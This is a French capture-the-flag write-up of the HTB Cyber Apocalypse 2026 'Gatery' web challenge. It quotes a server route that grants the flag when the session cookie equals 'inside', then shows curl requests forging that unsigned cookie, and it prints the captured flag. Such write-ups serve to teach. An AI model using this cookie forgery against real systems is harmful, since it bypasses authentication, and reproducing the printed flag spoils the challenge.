HTB Cyber Apocalypse 2026 CTF: Gatery
Écrit par l’équipe HackGyver – 24 août 2026
Intro
Lysa Harrowmere arrive à Crownspire avec la preuve qu’un informateur de confiance du château vend les itinéraires des patrouilles à l’ennemi. Ces informations servent à tendre des embuscades aux messagers, à retarder l’acheminement des ravitaillements et à maintenir la division parmi les alliés de Stormbound. La seule personne en mesure d’agir sur la base de cette preuve se trouve à l’intérieur du château pour un conseil à huis clos, mais le nom de Lysa a été retiré de la liste des participants et les gardes ont pour ordre de ne laisser entrer aucun visiteur non prévu. Si elle attend, le conseil prendra fin et le traître disparaîtra avec le prochain paquet contenant les itinéraires. Si elle s’exprime ouvertement à la porte, la preuve sera saisie avant d’atteindre les bonnes mains. Lysa doit déjouer la surveillance du passage, pénétrer à l’intérieur et remettre la preuve à la seule alliée capable de démasquer la fuite avant que l’ennemi ne passe à nouveau à l’action.
Analyse
On a des interrogation api. dans le fichier index.ts côté serveur nous avons :
.post('/api/flag', ({ cookie: { session }, set }) => {
if (!session.value) {
set.status = 401
return { ok: false, message: 'Login required' }
}
if (session.value !== 'inside') {
set.status = 403
return { ok: false, message: 'Enter the castle first' }
}
return { ok: true, flag }
})
C'est la route qui récupère le flag avec une condition session.value = inside sans trop d'autres verifications
Au début du fichier il y a la "construction du cookie"
cookie: {
secrets: [sessionSecret],
sign: [sessionCookie]
}
En théorie il faut que le cookie soit signé mais peut être que un cookie non signé est accepté
Étant donné que si la condition est session.value == "inside" nous avons tenté de voir si on pouvait contrôler session.value en envoyant un cookie.
Exploit
Dans /api/flag nous allons lui mettre un cookie session=inside car c’est la condition qui est demandée.
Depuis un terminal
curl -v -X POST http://154.57.164.67:31332/api/flagRetour de la commande :
* Trying 154.57.164.67:31332...
* Connected to 154.57.164.67 (154.57.164.67) port 31332 (#0)
> POST /api/flag HTTP/1.1
> Host: 154.57.164.67:31332
> User-Agent: curl/7.88.1
> Accept: */*
>
< HTTP/1.1 401 Unauthorized
< Server: nginx/1.28.3
< Date: Fri, 24 Jul 2026 19:19:08 GMT
< Content-Type: application/jsonnp
< Content-Length: 39
< Connection: keep-alive
<
* Connection #0 to host 154.57.164.67 left intact
{"ok":false,"message":"Login required"}# Ensuite on lui donne le cookie dans la commande curl :
curl -v -X POST http://154.57.164.67:31332/api/flag -H "cookie: session=inside"Retour de la commande :
{"ok":true,"flag":"HTB{w3lc0me_b3y0nd_th3_g4t3_ef228dcacc0d00e4b0172585854f2a0b}"}o7
